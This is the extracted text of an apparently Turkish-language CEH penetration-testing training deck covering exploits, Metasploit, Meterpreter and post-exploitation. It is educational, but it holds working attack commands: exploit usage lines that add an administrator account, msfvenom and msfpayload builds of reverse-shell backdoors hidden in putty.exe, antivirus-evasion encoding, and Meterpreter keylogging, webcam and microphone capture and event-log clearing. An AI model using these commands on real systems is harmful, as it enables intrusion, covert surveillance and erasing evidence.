2. @BGASecurity
BGA Bilgi Güvenliği A.Ş
BGA Security Hakkında
Siber güvenlik dünyasına yönelik, yenilikçi
profesyonel çözümleri ile katkıda bulunmak
amacı ile 2008 yılında kurulan BGA Bilgi
Güvenliği A.Ş. stratejik siber güvenlik
danışmanlığı ve güvenlik eğitimleri konularında
büyük ölçekli çok sayıda kuruma hizmet
vermektedir.
Gerçekleştirdiği vizyoner danışmanlık projeleri
ve nitelikli eğitimleri ile sektörde saygın bir yer
kazanan BGA Bilgi Güvenliği, kurulduğu günden
bugüne kadar alanında lider finans, enerji,
telekom ve kamu kuruluşları ile 1.000'den fazla
eğitim ve danışmanlık projelerine imza
atmıştır.
ARGE
EĞİTİM
MSSP
PENTEST
SOME / SOC
SECOPS
BGA | Hakkında
4. BGA | CEH
@BGASecurity
Sistemlere Sızma Yöntemleri
Günümüzde açıklıklar yoğun olarak network seviyesinde iki port üzerinde
gözükmektedir (80/443)
Uygulama seviyesi güvenlik zafiyetleri kullanılarak işletim sistemi, LAN ve DMZ
bölgeleri ele geçirilebilir.
Gerekli önlemler alınmadığı durumlarda
Sistemlerde açıklık bulma, açıklığı istismar etme ve sistemi ele geçirme farklı
adımlardır ve farklı alanlarda uzmanlık ister.
5. BGA | CEH
@BGASecurity
Exploit|Genel Kavramlar
Exploit nedir?
Exploit çeşitleri
Hangi dille yazılır ?
Exploit araştırma teknikleri
Yazması zor mudur?
Exploit Frameworkleri
6. BGA | CEH
@BGASecurity
Exploit Nedir?
Exploit (Ingilizce to exploit - kötüye kullanmak) bir bilgisayar
programı veya bir script, bilgisayar programlarında bulunan
zayıflık veya hatalar için kullanılır.
Vikipedia
http://en.wikipedia.org/wiki/Exploit_(computer_security)
Teknik olarak , pentest çalışmalarında ya da siber saldırılarda
varolan bir güvenlik zafiyetini istismar ederek sisteme sızmaya
yol açacak yazılım/script.
7. BGA | CEH
@BGASecurity
Exploit Çeşitleri
Farklı amaçlarla kullanılan exploit çeşitleri vardır
Exploit çeşitlerinden bazıları
Local Exploits
Remote Exploits
Dos-Exploits
Zero-Day-Exploits
8. BGA | CEH
@BGASecurity
Remote Exploits
Sistemlere sadece uzaktan erişilerek çalıştırılabilen exploit çeşidi.
Bu exploit çeşidinde hedef sisteme ağ üzerinden bağlantının olması
yeterli olmaktadır.
Web tabanlı ya da network tabanlı olabilir.
9. BGA | CEH
@BGASecurity
Remote Exploit - Heartbleed
Uzaktan sisteme ait memory den bilgi açığa çıkarma(Memory
disclosure-Information leakage)
Yahoo üzerinde binlerce kullanıcı kullanıcı adı ve parolası ele geçirildi.
http://www.exploit-db.com/exploits/32745/
Kullanımı: python heartbleed.py www.baku.ws -p 443
Alexa kayıtlarından heartbleed açıklığı barındıran sistemler:
https://zmap.io/heartbleed/
10. BGA | CEH
@BGASecurity
Heartbleed Information Leakage
En sıcak örneği OpenSSL heartbleed açıklığı
OpenSSL üzerindeki bilgi açığa çıkarma açıklığı kullanılarak SSL akan trafikler
okunabilmiş ve kullanıcılara ait username/password , eposta vs. okunabilmiştir.
11. BGA | CEH
@BGASecurity
Remote Exploit – SEP Remote Code Exe
Symantec End Point Sunucusu üzerinde uzaktan komut çalıştırmaya izin
veren bir açıklık.
SEP sunucu işletim sistemi bazında ele geçirilebilir.
http://www.exploit-db.com/exploits/31853/
Kullanımı:
python sep_exploit.py -t 192.168.1.100 -c "net user bga P@ssw0rd /add"
python sep_exploit.py -t 192.168.1.100 -c "net localgroup Administrators bga
/add"
12. BGA | CEH
@BGASecurity
Remote exploit – F5 Big IP Auth. bypass
SSH servisi dışarı açık olan f5 big IP load balancerlar etkilenmiştir.
Tüm F5’lere erişim sağlanabilecek bir ssh private key keşfedilmiş ve bunla
root haklarında sisteme erişilebilmiştir.
http://www.exploit-db.com/exploits/19091/
Kullanımı:
root@bt:~/Desktop/pentesttool/f5 big ip# python f5.py
Enter the IP address of the F5: 5.5.5.5
root@f5:>
13. BGA | CEH
@BGASecurity
Local Exploits
Sadece uzaktan erişimin yeterli olmadığı, hedef sistem üzerinde
yetkili/düşük yetkili sistem hesabı gerektiren exploit çeşidi.
Linux kernel exploitleri bu exploit tipine en iyi örnektir.
İstismar kodunu çalıştırabilmek için Linux sistem üzerinde komut
çalıştırabilmek gerekir.
14. BGA | CEH
@BGASecurity
DoS Exploits
Çalıştırıldığında hedef sisteme erişim izni vermeyen fakat hedef sistemin
çalışamaz, erişilemez hale gelmesini sağlayan exploit çeşidi.
Tehlike seviyesi diğerlerine göre daha düşüktür.
15. BGA | CEH
@BGASecurity
0 day Exploit
Açığı bulan kişi/grup açıklığı firmaya bildirmeden exploitini yazarak
yayınlar/satar.
Exploitten firma ile saldırganlar aynı anda haberdar olur ve bir yarış
başlar.
16. BGA | CEH
@BGASecurity
Exploit Araştırma Kaynakları
Exploitler iki şekilde elde edilebilir:
Google ve benzeri arama motorları kullanarak genele açık, yayınlanmış
exploitler bulunabilir.
Sadece belirli kişilerin üye olabileceği underground forumlarda, IRC
odalarında ve dışa kapalı e-posta listelerinde
Değerli exploitler genellikle genele açılmadan önce 2-3 aylık bir
satış –özel kullanım- süreci yaşarlar.
Exploit sat-al işlemi ciddi paralar kazandıran bir ticaret biçimidir.
17. BGA | CEH
@BGASecurity
exploit-db.com
En güncel ve güvenilir exploit araştırma sitesi
Açıklığı barındıran uygulamanın güncel olmayan sürümüne erişim bilgisi de sunar.
Web tabanlı açıklıklar için Google üzerinde arama imkanı sunar.
Gönderilen exploitler bir kalite kontrol sürecinden geçer, fake exploitleri kabul
etmezler
18. BGA | CEH
@BGASecurity
Kali üzerinde exploit-db veritabanı
Kali üzerinde /usr/share/exploitdb altında tüm exploit-db.com
exploitleri mevcuttur.
Searchsploit aracı ile aşağıdaki gibi arama yapılabili.
searchsploit tomcat windows remote
Searchspoit kernel linux local
21. BGA | CEH
@BGASecurity
Google Üzerinden Exploit Arama
Bazı exploitler exploit-db ve securityfocus’da olmayabilir
Bu tip exploit aramalarında en sağlıklı yollardan biri Google’a sormaktır
Bind DOS açıklığı exploiti araştırması
Internetten indirilecek her exploit güvenilir midir?
Örnek:
22. BGA | CEH
@BGASecurity
Sahte Exploit Kavramı
Ava giderken avlanma!
Exploit vs gibi konularda yeterli bilgi sahibi olmayan meraklı “hacker”ları
kandırmak ve sistemlerini ele geçirmek amacıyla –genellikle eğlence amaçlı-
gerçekleştirilir.
Exploit kodu (payload kısmı) genellikle hex encode edilerek verilir.
Exploit çalıştırıldığında çalıştığı sistemi silebilir, başka sistemlere bilgi
taşıyabilir.
25. BGA | CEH
@BGASecurity
Exploit Çalıştırma
Script tabanlı exploitler
Python, Perl ile yazılmış exploitler
C/C++ dilleri ile yazılmış exploitlerin çalıştırılması
Her exploitin çalıştırılmaıs için gerekli komut satırı parametreleri farklıdır.
Her sistem, her sistemde yüklü olan yama seviyesine göre farklı exploit
çalıştırmak gerekebilir.
Script tabanlı exploitlerin payloadları genellikle iki tane olur (bind TCP,
reverse TCP)
26. BGA | CEH
@BGASecurity
Exploit Geliştirme/Çalıştırma
Exploit geliştirme ve çalıştırma birbirinden farklı işlemlerdir
Exploit geliştirme ve güvenlik zafiyet bulma birbirinden farklı
uzmanlık isteyen konulardır.
Exploit geliştirme günümüzde işletim sistemlerinin getirdiği ek
korumalar (geliştirme kütüphanelerinin de) sayesinde oldukça
zor bir hale getirilmiştir.
Exploit çalıştırma en basit işlemdir.
Oku, izle, kur çalıştır!
27. BGA | CEH
@BGASecurity
Exploit Çalıştırmanın Zararları
Bazı exploit denemeleri hedef sistemin durmasına, servisin zedelenmesine
veya crash olmasına neden olabilir.
Pentest çalışmalarında önce exploit lab. Ortamında denenmeli
29. BGA | CEH
@BGASecurity
Otomatize Exploit Çalıştırma
Neden ihtiyaç duyuldu?
Binlerce exploit var
Her exploit belirli bir sisteme(işletim sistemi, yazılım
versiyonu) özel yazılıyor.
Kurulum dili bile farklı olsa exploit çalışmayabilir
Tüm bunları aşmak için bir framework gerekir
30. BGA | CEH
@BGASecurity
Otomatik Exploit Çalıştırma Eksileri
Hangi durumlarda otomatik exploit çalıştırma araçları
avantajlı/dezavantajlı olur?
Özellikle local exploitlerde (Linux kernelini ilgilendiren) metasploit için
geliştirilmiş exploit yoktur.
Bu durumda internet üzerinden araştırma yapılarak bulunabilir.
Exploitin indirileceği site herhangi bir site olmamalıdır (sahte exploitlere önlem
olarak)
40. BGA | CEH
@BGASecurity
Metasploit Framework Projesi
Metasploit Framework projesi exploit teknikleri ile
istismarları hakkında bilgi sağlamakta.
Oluşturduğu yapı ile güvenlik denetçilerine, IDS imza geliştirme ve istismar
araştırmaları yapan uzmanlara, hackerlara faydalı bilgiler vermekte ve exploit
geliştiricileri için bir çatı oluşturmaktadır.
Metasploit bir toplum projesi Metasploit LLC tarafından
yönetilmekteydi.
Rapid7 firmasına satıldıkdan sonra Pro ve Community sürümleri ile devam
etmektedir.
41. BGA | CEH
@BGASecurity
Metasploit Tarihçesi
İlk olarak ağ güvenliği oyunu amaçlı geliştirilmiştir
Sonraları perl tabanlı bir exploit geliştirme çatısı olarak kullanıma
sunuldu
Haziran 2004 : 2.1 stable sürümü yayınlandı
Mart 2007 3.0 stable sürümü yayınlandı
Eski sürümlerde perl temel alınırken yeni sürümlerde tamamen
Ruby’e geçilmiş durumda
42. BGA | CEH
@BGASecurity
Metasploit Framework | Özellikleri
Özellikleri ;
Community ve Pro sürümleri bulunmakta.
800 exploits - 435 auxiliary - 134 post -246 payloads – 27 encoders - 8 nop
bulunuyor
Çok farkli türde payload’lar kullanilabiliyor
Meterpreter
VNC DLL Injection
Binary Upload
PassiveX
43. BGA | CEH
@BGASecurity
Metasploit Framework | Güncelleme
Metasploit hızla gelişen bir araçtır.
Hergün, her saat yeni güvenlik açıkları keşfedilmekte ve bunları sömüren
kodlar yazılmaktadır.
Yeni payload ,encoder, exploit, ve NOP hazırlandığında metasploiti update
ederek kullanabilirsiniz.
Linux sistemlerde komut satırından “msfupdate” komutu çalıştırılarak
güncelleme yapılır.
44. BGA | CEH
@BGASecurity
Temel Metasploit Bileşenleri
Aux
Modülleri
Exploit
Modülleri
Payload
Post
Exploit
Modülleri
45. BGA | CEH
@BGASecurity
Payload Kavramı ?
Exploit sonrasi çalışıp yetkisiz işlevi gerçeklestirecek içerik.
Exploit çalıştırıldığında gerçekleştireceği eylemi belirten içerik.
Reverse bağlantı mı gerçekleştirecek?
Bir porta bind mi olacak ?
Shell mi verecek shell mi alacak vs.
Show payloads komutu kullanılabilir.
46. BGA | CEH
@BGASecurity
Üst Düzey Bazı Payloadlar
Metasploit Frameworkde kullanılan üst düzey farklı
işlevselliğe sahip payloadlar bulunmaktadır.
Bunlardan bazıları ;
Meterpreter
DLL Injection
Binary Upload
PassiveX
Download and Exec
Adduser
47. BGA | CEH
@BGASecurity
Shellcode Nedir ?
Açıklığı istismar edilmesi ile sisteme (/bin/bash veya cmd.exe
komut gönderme) gibi eylemleri yapan exploit kodunun ilgili
bölümü.
Exploit sonrasi çalisicak olan platforma özel binary’ler.
Metasploit’de bulunan payload’ların farklı dillerde shellcode çıktısı
alınabilir.
48. BGA | CEH
@BGASecurity
Msfpayload ile Shellkod oluşturma
Farklı dillerde shellcode oluşturulabilir.
Payloadın farklı formatlarda shellcode çıktısını alabiliriz, örneğin;
C,Perl,raw,java,js vb.
49. BGA | CEH
@BGASecurity
Encoder Kavramı
Metasploit Encoder, istenilen payloadın içeriğini değiştirerek
Saldırı Tespit ve Engelleme Sistemleri (IDS/IPS), Güvenlik
Duvarları (Firewall) ve Antivirüsler tarafından tanınmasını
engeller/zorlaştırır.
Metasploit Frameworkde 27+ encoder bulunuyor.
50. BGA | CEH
@BGASecurity
Nop Nedir?
“Not Operation” , bellek yeri öğrenme amaçlı bellek
dolduran bitler.
Genellikle saldırı tespit ve engelleme sistemlerini
yanıltmak için kullanılır.
52. BGA | CEH
@BGASecurity
Msfvenom ile zararlı oluşturma
Msfvenom –l payloads // Payloadları listelemek için
Msfvenom –l encoders //Encoderları listelemek için
Zararlı oluşturmak için
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=443 -a
x86 --platform win -e x86/shikata_ga_nai -i 3 -f exe > /var/www/backdoor.exe
Bilinen bir .exe içerisine zararlı yerleştirme
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=443 -a
x86 --platform win -x /root/Desktop/putty.exe -k -e x86/shikata_ga_nai -i 3 -f exe >
/var/www/putty5.exe
53. BGA | CEH
@BGASecurity
Metasploit Auxiliary Modülleri
Modüller için geliştirilmiş ek programcıklar, yardımcı araçlardır.
Exploit öncesi bilgi toplamak, exploit sonrası hedef sistemde
ilerlemek için kullanılır.
Metasploit’de en fazla kullanılan bileşenlerden biri Aux
modülleridir.
55. BGA | CEH
@BGASecurity
Msfconsole Öncesi
Msfconsole komutu verilmeden önce aşağıdaki gibi postgresql ve metasploit
servisleri başlatılmalıdır.
service postgresql start
service metasploit start
Msfconsole komutu ile metasploit konsoldan açılır.
db_status ile veritabanı durumu görüntülenebilir.
msf > db_status
[*] postgresql connected to msf3
Veritabanı bağlantısı yapılmışsa aşağıdaki komut çalıştırılarak rebuild edilir.
msf > db_rebuild_cache //Aramalardaki gecikmenin kalkması için
56. BGA | CEH
@BGASecurity
Aktif Metasploit Kullanımı: Msfconsole
Metasploit komut satırı aracıdır. Unix sistemlerde
metasploit dizinine geçilerek “msfconsole” komutu yazılarak
başlatılır.
Windows sistemlerde ise web arayüzünden
“Console” seçilerek erişim kurulur.
Msfconsole ile payloadlar, exploitler, encoderlar, NOP lar ve
auxiliary modulleri kullanılabilir.
Metasploit komut satırı (msfconsole) açılışında metasploit
logosu gelir.
58. BGA | CEH
@BGASecurity
Msfconsole | Temel Komutlar
Komut Açıklama
? Yardım menüsü
back Mevcut seçenekten bir adım geriye döner
banner Metasploit açılış bannerlarını gösterir
cd Dizin atlamak için kullanılır
color Renk seçeneklerini ayarlar
connect Uzak bir sunucuya bağlantı kurar
exit Konsoldan çıkışı sağlar
help Yardım menüsü
info Bir veya daha fazla modul hakkında bilgi verir
59. BGA | CEH
@BGASecurity
Msfconsole | Temel Komutlar II –tabloya alınacak
Komut Açıklama
irb İrb scripting modunu getirir
jobs Yapılan işleri gösterir ve düzenler
kill Çalışan bir görevi öldürür.
load Framework için eklenti yükler
loadpath Belirtilen yoldan istenilen modulu/exploiti yükler
makerc Başlangıçtan itibaren kullanılan komutları bir dosyaya yazar
quit Konsoldan çıkışı sağlar
route Oturumun trafik rotasını belirler
Save Etkin veriyi kayıteder, depolar
60. BGA | CEH
@BGASecurity
Msfconsole | Temel Komutlar
Komut Açıklama
set Ayarların konfigure edilmesinde kullanılan atama komutu
setg Genel bir değer, değişken atar
show Belirtilen modülü veya tüm modülleri listeler
sleep Verilen zaman içinde uyku moduna geç, birşey yapma
unload Framework için mevcut eklentiyi kaldırır
unset Atanan değeri kaldırır
unsetg Yapılan genel bir değeri, değişkeni kaldırır
use Modülü seçer
version Konsol uygulamasının versiyonunu gösterir
search Modül ismi veya açıklamalarda arama yapar
sessions Aktif oturumları gösterir ve oturum bilgisi verir
61. BGA | CEH
@BGASecurity
Msfconsole | Aux | Port Scanning
Port tarama için arka planda nmap kullanır. Port tarama
araçlarını görüntülemek için portscan araması yapılabilir.
66. BGA | CEH
@BGASecurity
Msfconsole | Exploit Hakkında Bilgi
Exploit Hakkında Bilgi Almak
Exploit seçiminden önce, exploit
hakkında detaylı bilgi almak için “info”
komutu kullanılabilir. En temel
kullanımı “info exploit_adı”
şeklindedir.
67. BGA | CEH
@BGASecurity
Msfconsole | Exploit Seçimi
Exploit Seçimi
Herhangi bir arama kriterleri yoksa, kullanılabilir exploit’lerin
tamamını görüntülemek için “show exploits” komutu
kullanılabilir.
Exploit seçimi, “use” komutu ile yapılmaktadır.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
68. BGA | CEH
@BGASecurity
Msfconsole | Exploit Seçimi
Exploit seçimi yapıldıkdan sonra, exploit için işlem menüsü ile
karşılacaksınız.Exploit komutlarını listelemek için yardım komutunu
(help) kullanabiliriz. Exploit Komutları ve açıklamaları aşağıdaki gibidir;
Komut Açıklama
---------- -----------
Check Exploit öncesi güvenlik açığının kontrolü yapar.
exploit Exploiti tetikler.
pry Seçili modül için pry oturumu başlatır.
rcheck Hedef sistemin zayıflığını tekrar kontrol eder
reload Yalnızca module yükler
rexploit Exploiti tekrar çalıştırır.
69. BGA | CEH
@BGASecurity
Msfconsole | Exploit Seçimi
Exploit seçimi yapıldıkdan sonra, exploit için işlem menüsü ile
karşılacaksınız.Exploit komutlarını listelemek için yardım komutunu
(help) kullanabiliriz. Exploit Komutları ve açıklamaları aşağıdaki gibidir;
Komut Açıklama
---------- -----------
Check Exploit öncesi güvenlik açığının kontrolü yapar.
exploit Exploiti tetikler.
pry Seçili modül için pry oturumu başlatır.
rcheck Hedef sistemin zayıflığını tekrar kontrol eder
reload Yalnızca module yükler
rexploit Exploiti tekrar çalıştırır.
70. BGA | CEH
@BGASecurity
Msfconsole | Payload Seçimi
Payload Seçimi
Geçerli exploit için kullanılabilir payload’ları listelemek için,
“show payloads” komutu kullanılır.
71. BGA | CEH
@BGASecurity
Msfconsole | Payload Seçimi
“info” komutu ile seçilen payload için gerekli seçenekler ve
varsayılan
olarak atanan değerler listelenir.
Payload seçimi için “set PAYLOAD payload_adı” komutu kullanılır.
Örnekte kullandığımız VNC Inject payloadı için bu komut
“set PAYLOAD windows/vncinject/reverse_tcp” şeklinde
olucaktır.
72. BGA | CEH
@BGASecurity
Msfconsole | Seçenekler
Seçeneklerin Ayarlanması
Exploit ve payload seçiminden sonra, uygulanacak hedef ve gerekli
seçenekler belirtilmelidir.
Exploit ve Payload seçeneklerini “show options” komutu ile
görüntüleyebiliriz.
74. BGA | CEH
@BGASecurity
Msfconsole | Seçenekler
Required sütununda “yes” ile belirtilen seçeneklerin mutlaka
belirtilmesi gerekir.
Bu ayarlar şöyle yapılır ;
RHOST = hostname veya ip adresi yazılabilir
LHOST = saldırıyı yapan sistemin ip adresi.
LPORT = Hedef ile iletişim kurulacağı yerel port.
Firewall , IDS/IPSleri atlatmak için 443. portu kullanmanız önerilir.
LPORT ile belirteceğiniz portun sisteminizde açık ve filtrelenmemiş
olması gerekir.
76. BGA | CEH
@BGASecurity
Msfpayload
Msfpayload aracı, metesploitde kullanılan payloadları derlemek
için kullanılır.
Exploit geliştiricileri exploit yazarken, payloadlarada ihtiyaç
duyarlar bu noktada msfpayload exploit geliştiricileri için
bulunmaz nimettir.
Metasploit’in msfpayload aracı sayesinde istenilen payloadın
çıktısı C , Perl, Ruby, Raw, Javascript, VBA ve exe olarak alınabilir.
80. BGA | CEH
@BGASecurity
Msfpayload
Seçenekleri Belirlemek
Payload seçeneklerini belirlemek oldukça basittir,
aşağıdaki örnekde olduğu gibi söz dizimi kullanarak
ayarlar belirlenebilir.
81. BGA | CEH
@BGASecurity
Msfpayload
Farklı dillerde shellcode oluşturulabilir.
Payloadın farklı formatlarda shellcode çıktısını alabiliriz, örneğin;
C,Perl,raw,java,js vb.
82. BGA | CEH
@BGASecurity
Msfpayload
Payload Derlemek
Windows sistemlerde çalışacak şekilde çalıştırılabilir, exe
dosyası oluşturalım.
msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 X
> backdoor.exe
83. BGA | CEH
@BGASecurity
Meterpreter
Meterpreter , Meta-Interpreter ‘in kısaltılmışıdır.
Modül destekli üst düzey bir payload’tır.
Açık kaynak kodlu kolayca geliştirilebilir, kendi eklentilerinizi
geliştirmenize izin verir ve DLL olarak yeni modüller eklenebilir.
Meterpreterin çalıştığı sistemlerde anti-virüs yazılımları,
nids tarzı yazılımlardan korunmak için içerik dahili
kriptolama özelliği mevcuttur.
84. BGA | CEH
@BGASecurity
Meterpreter
MSF 3.x ile birlikte yeni gelen ; Süreç birleştirme, IRB script desteği ,Timestomp
ve SAM HashDump özellikleri mevcut.Meterpreter yeni bir alt süreç olarak
doğrudan bellekte çalışıyor bu sayede hacking sonrası kurban bilgisayarda iz
bırakmaz ve adli delil toplamada saldırıya dair iz bulunması zorlaşır.
Meterpreter de esnekliği ve kullanım kolaylığı olan bir dizi komut ve eklenti
bulunuyor.
85. BGA | CEH
@BGASecurity
Meterpreter
Varsayılan Meterpreter Komutları ;
Komut Açıklama
use Bir veya daha fazla eklenti yüklemek için kullanılır
loadlib İstismar sürecinde yeni bir kütüphane yüklenebilir
read Uzak sistemden veri okur
write Uzak sisteme geçerli kanal üzerinden veri yazar
close Kanalı kapatır.
interact Kanalda interaktif bir oturum başlatır
initcrypt İstemci ve sunucu arasındaki iletişim için bir keyfi şifreleme algoritması
oluşturur.
86. BGA | CEH
@BGASecurity
Meterpreter | Ağ Komutları
Ağ Komutları
Komut Açıklama
ipconfig Ağ ayarlarlarını görüntüler
portfwd Yerel portu uzak bir servise yönlendirir
route Yönlendirme tablosunu görüntüler ve değiştirir
87. BGA | CEH
@BGASecurity
Meterpreter | Sistem Komutları
Sistem Komutları
Komut Açıklama
clearev Olay loglarını temizle
drop_token Herhangi bir etkin kimliğe bürünme belirteci bırakır.
execute Komut çalıştırır
getpid Geçerli proses tanımlayıcısını göster.
getprivs Yetki yükseltme komutlarını göster
getuid Sunucuda çalışan kullanıcıyı göster
kill Bir prosesi öldür
ps Çalışan prosesleri listele
88. BGA | CEH
@BGASecurity
Meterpreter | Sistem Komutları II
Sistem Komutları
Komut Açıklama
reboot Uzak bilgisayarı yeniden başlatır
reg Uzak bilgisayarın registery ayarlarını değiştir.
rev2self Uzak bilgisayar üzerinde RevertToSelf() arar
shell Sistem komut satırına geç
shutdown Uzak sistemi kapat
steal_token Hedef sistemde proses yetkilerine geçiş yapar
sysinfo Uzak sistem hakkında detaylı bilgi alır
89. BGA | CEH
@BGASecurity
Meterpreter | Kullanıcı Arayüzü Komutları
Kullanıcı Arayüzü Komutları
Komut Açıklama
enumdesktops Erişilebilir tüm masaüstlerini göster
getdesktop Geçerli meterpreter masaüstünü göster
idletime Boş vakti gösterir
keyscan_dump Klavye girişlerini kayıt eder
keyscan_start Klavye girişlerini dinlemeye başla
keyscan_stop Klavye girişlerini dinlemeyi durdur
screenshot Masaüstünün ekran görüntüsünü al
setdesktop Meterpreter geçerli masaüstünü değiştir.
uictl Bazı kullanıcı arabirimi bileşenlerini denetler
91. BGA | CEH
@BGASecurity
Meterpreter uygulamaları
getsystem ile system haklarına geçiş yapılır.
Execute komutu ile uzak sunucuda komut koşturulabilir.
Execute –f cmd.exe –i –H
sysinfo ile hedef işletim sistemi hakkında bilgi alınabilir.
getuid ile hangi yetkiler ile komut koşturduğumuzu görebiliriz.
shell komutu ile doğrudan işletim sistemi shell alınabilir.
clearev komutu ile event logları silinebilir.
92. BGA | CEH
@BGASecurity
Meterpreter uygulamaları - II
Hedef sistemden screenshot almak için(-q resim kalite değeri);
screenshot –p /root/Desktop/test.jpg –q 60
Ortam ses kaydı almak için;
record_mic -d 60 -f /root/Desktop/ses.wav
webcam_list ile hedef sistemdeki kameraları görebiliriz.
Webcam üzerinden screenshot alma(-v bittiginde oto. açılmasn)
webcam_snap -p /root/kamera.jpg -q 60 -v false
93. BGA | CEH
@BGASecurity
Meterpreter Uygulamaları - III
pwd uzak sistem üzerindeki path bilgisini verir.
lpwd local sistemimizde çalıştığımız dizini görebiliriz.
cd D: komutu ile başka bir partiation geçilebilir.
lcd /root komutu ile localde başka bir dizine geçilir.
run keylogrecorder ile hedef sistemde keyloger çalıştırılır. Veya keyscan_start
denildekten sonra keyscan_dump ile klavye çıktıları elde edilebilir. Sonlandırmak için
keyscan_stop kullanılır.
run winenum ile sistem üzerinde bir çok komut çalıştırılarak sistem hakkında detaylı
bilgiler elde edilebilir.
meterpreter > run arp_scanner -r 172.16.16.1-254 // Diğer subnetler taranabilir.
94. BGA | CEH
@BGASecurity
Msfencode
Msfencode, istenilen payloadın içeriğini değiştirerek Kaçak Giriş
Tespit
ve Engelleme Sistemleri (IDS/IPS), Güvenlik Duvarları (Firewall)
ve
Antivirüsler tarafından tanınmasını engeller/zorlaştırır.
Metasploit
Frameworkde 27+ encoder bulunuyor.Encoderları listelemek için
-l paramatresi diğer seçenekler için –h parametresi kullanılır.
95. BGA | CEH
@BGASecurity
Msfencode
Encoder Kullanımı
Shellcode’u msfpayload ile raw formatında msfencode a aktarıp içeriği
encode edebilirsiniz.
Metasploit’de bulunan güçlü encoder’lar ile içerik antivirus, content
fitler, ids/ips sistemleri tarafından tanınmaz hale getirilebilir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=6.6.6.112
LPORT=4443 R | msfencode -e x86/shikata_ga_nai -t exe -o
/var/www/payload.exe
96. BGA | CEH
@BGASecurity
Msfencode
Multi-Encoder Kullanımı
Payload içeriği bir çok encoder ile değiştirilerek yeniden oluşturulabilir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=6.6.6.112
LPORT=4443 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw |
msfencode -e x86/alpha_upper -c 2 -t raw | msfencode –e
x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 –t
exe -o /var/www/payload2.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
…..
99. BGA | CEH
@BGASecurity
Browser Tabanlı Açıklıklar
Bir browser exploiti, kötü amaçlı geliştirilmiş zararlı kod parçasıdır.
Kullanıcının bilgisi olmadan, bilgisayarına zararlı yazılım
bulaştırmak veya izinsiz/yetkisiz değişikliklerde bulunmak için
kullanılır.
Zararlı kod; HTML, Image, Java, Javascript, ActiveX veya başka bir
web teknolojisi olabilir.
Zayıflıklar, browser teknolojisinden veya eklentilerinden
kaynaklanabilir
102. BGA | CEH
@BGASecurity
Veil ile AV Atlatma
Av atlatmak için zararlı oluşturma için kullanılabilecek
başarılı bir araçtır.
veil -l powershell -p VirtualAlloc -o undetectable --
msfpayload windows/meterpreter/reverse_tcp --
msfoptions LHOST=6.6.6.150 LPORT=443
103. BGA | CEH
@BGASecurity
Metload ile Antivirüs Atlatma
64 bit sistemler için derleme;
x86_64-w64-mingw32-gcc -o metload64.exe metload.c -
lws2_32
32 bit sistemler için derleme;
i686-w64-mingw32-gcc -o metload32.exe metload.c -
lws2_32
104. BGA | CEH
@BGASecurity
Migrate ile Antivirüs Atlatma
Meterpreter ajanı çalışan başka bir uygulamaya kendini
bulaştırabilir ve o uygulama üzerinden yetkisiz işlevler
gerçekleştirebilir.
Uygulamaya bulaştığında uygulamanın boyutu değişmez
Antivirus, Antilogger bypass için tercih edilir.
Proxy Auth. Bypass etmek için kullanılır.
105. BGA | CEH
@BGASecurity
Migrate ile Antivirüs Atlama II
Kullanımı
meterpreter > migrate
Usage: migrate pid
“ps” komutu ile çalışan processlerin id si öğrenilebilir.
meterpreter > ps
PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
860 explorer.exe x86 1 pentestlabsozanus C:WindowsExplorer.EXE
106. BGA | CEH
@BGASecurity
Migrate ile Antivirüs atlama
meterpreter > migrate 860
[*] Migrating to 860...
[*] Migration completed successfully.
meterpreter > getuid
Server username: pentestlabsozanus
107. BGA | CEH
@BGASecurity
#Exploit Sonrası Sistemde İlerleme
Post exploitation olarak da adlandırılır.
Amaç herhangi bir güvenlik zafiyeti kullanarak sisteme
gerçekleştirilen yetkisiz, düşük yetkili bir kullanıcı haklarıyla
sistemi ele geçirme, sistemi ara geçit olarak kullanarak
başka sistemlere atlama.
Bu bölüm, exploit sonrası uzak sistemde ilerleme,gizleme ve
kayıtları silme yöntemlerinin anlaşışması ve uygulanmasını
içerir.
108. BGA | CEH
@BGASecurity
İlerleme Adımları/Aşamaları
1. Yetki Yükseltme
2. Hashdump
3. Parola Kırma (jonh the ripper)
4. Başka Bir Uygulamaya Bulaşmak
5. Pivoting
6. Memorydump
7. Uzak Masaüstü Bağlantısı Başlatmak
8. Hedefin Canlı Oturumuna Geçiş
9. İz Temizleme
10. Trafik Dinleme (Packet Sniffing)
11. Ekran Görüntüsü Yakalama
12. Ses, Webcam Görüntüsünü Yakalama
109. BGA | CEH
@BGASecurity
Yetki Yükseltme
Hedef sistem, kisitli kullanici yetkileri ile ele
geçirildiginde yetki yükseltmek ve farklı
kullanıcı yetkilere geçiş yapmak.
110. BGA | CEH
@BGASecurity
Yetki Yükseltme
meterpreter > getsystem
Local privilege escalation teknikleri ile SYSTEM yetkilerine
yükseltir.
meterpreter > getsystem -t 1
…got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
111. BGA | CEH
@BGASecurity
Yetki Yükseltme
meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t The technique to use. (Default to ‘0′).
0 : All techniques available
1 : Service – Named Pipe Impersonation (In Memory/Admin)
2 : Service – Named Pipe Impersonation (Dropper/Admin)
3 : Service – Token Duplication (In Memory/Admin)
4 : Exploit – KiTrap0D (In Memory/User)
113. BGA | CEH
@BGASecurity
Yetki Yükseltme Aşaması
Meterpreter ajanı çalışan başka bir uygulamaya kendini
bulaştırabilir ve o uygulama üzerinden yetkisiz işlevler
gerçekleştirebilir.
Uygulamaya bulaştığında uygulamanın boyutu değişmez
Antivirus, Antilogger bypass için tercih edilir.
Proxy Auth. Bypass etmek için kullanılır.
114. BGA | CEH
@BGASecurity
Pivoting
Uzak ağı, dış dünyaya açmak için kullanılır.
Firewall/NAT veya Router arkasındaki sistemlere
erişmek için tercih edilir.
